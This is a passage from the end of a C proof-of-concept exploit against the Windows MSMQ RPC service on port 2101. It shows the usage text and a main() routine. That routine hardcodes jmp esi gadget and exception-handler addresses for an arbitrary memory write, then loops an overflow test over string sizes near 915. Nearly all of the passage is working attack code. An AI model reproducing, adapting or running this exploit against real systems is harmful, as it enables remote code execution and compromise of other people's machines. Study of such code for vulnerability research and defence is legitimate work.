  770.   fprintf (stderr, "Default values of strmin and strmax are 915, which works 
  771. for me.  Not all\n");
  772.   fprintf (stderr, "values for addr2write/val2write seem to work, though; 
  773. there may be some\n");
  774.   fprintf (stderr, "filtering of the overflow string in some way.\n\n");
  775.   fprintf (stderr, "  Note also that the default port used (2101) works 
  776. reliably for me, but as\n");
  777.   fprintf (stderr, "there is an internal MSMQ rpc api operation (opnum 27) 
  778. that returns this port\n");
  779.   fprintf (stderr, "number as a DWORD to the MQ client, it may be variable 
  780. on different systems.\n\n");
  781.   return -1;
  782. }
  783.  
  784. int main (int argc, const char **argv)
  785. {
  786. WSADATA mywinsock;
  787. int rv = 0;
  788.  
  789.   WSAStartup (0xffff, &mywinsock);
  790.   if (argc >= 2)
  791.   {
  792.     int strsize, maxstr;
  793.     DWORD addr, val;
  794.  
  795. // hmm. as defaults, let's try and write an address of a jmp esi to an 
  796. exception handler
  797. #define JMPESI0   0x780296bb
  798. #define JMPESI1   0x7801ad1c
  799. #define HANDLER1  0x024dffe0
  800. #define HANDLER2  0x024df7f8
  801. #define HANDLER3  0x024df018
  802.         // 0x024cffe0
  803. #define DUMMY     0x66554433
  804.  
  805. // nefr.  seems like it dont work with just any values.
  806. // val is written first in string, addr second; seems not
  807. // to be a good idea to have any 0x01/0x02 bytes. DUMMY
  808. // passes fine as both addr and value.
  809. //
  810. // allchinbug testbed 0x77665544 0x8899aabb
  811. //
  812.  
  813.     if ((argc < 3) || (sscanf (argv[2], "%i", &addr) != 1))
  814.       addr = HANDLER1;
  815.     if ((argc < 4) || (sscanf (argv[3], "%i", &val) != 1))
  816.       val = DUMMY;  // DUMMY;  // JMPESI1;
  817.     if ((argc < 5) || (sscanf (argv[4], "%d", &strsize) != 1))
  818.       strsize = 915;
  819.     if ((argc < 6) || (sscanf (argv[5], "%d", &maxstr) != 1))
  820.       maxstr = 915;
  821.  
  822.     while (!rv)
  823.     {
  824.       rv = test_overflow (argc, argv, strsize, addr, val, INVALID_SOCKET);
  825.       printf ("size %d ***rv %d***\n", strsize, rv);
  826.       strsize++;
  827.       if (strsize > maxstr)
  828.         break;
  829.     }
  830.   }
  831.   else
  832.   {
  833.     rv = usage (argc, argv);
  834.   }
  835.   // Exit gracefully.
  836.     WSACleanup ();
  837.     return rv;
  838. }
  839.  
  840.  
  841.  
  842.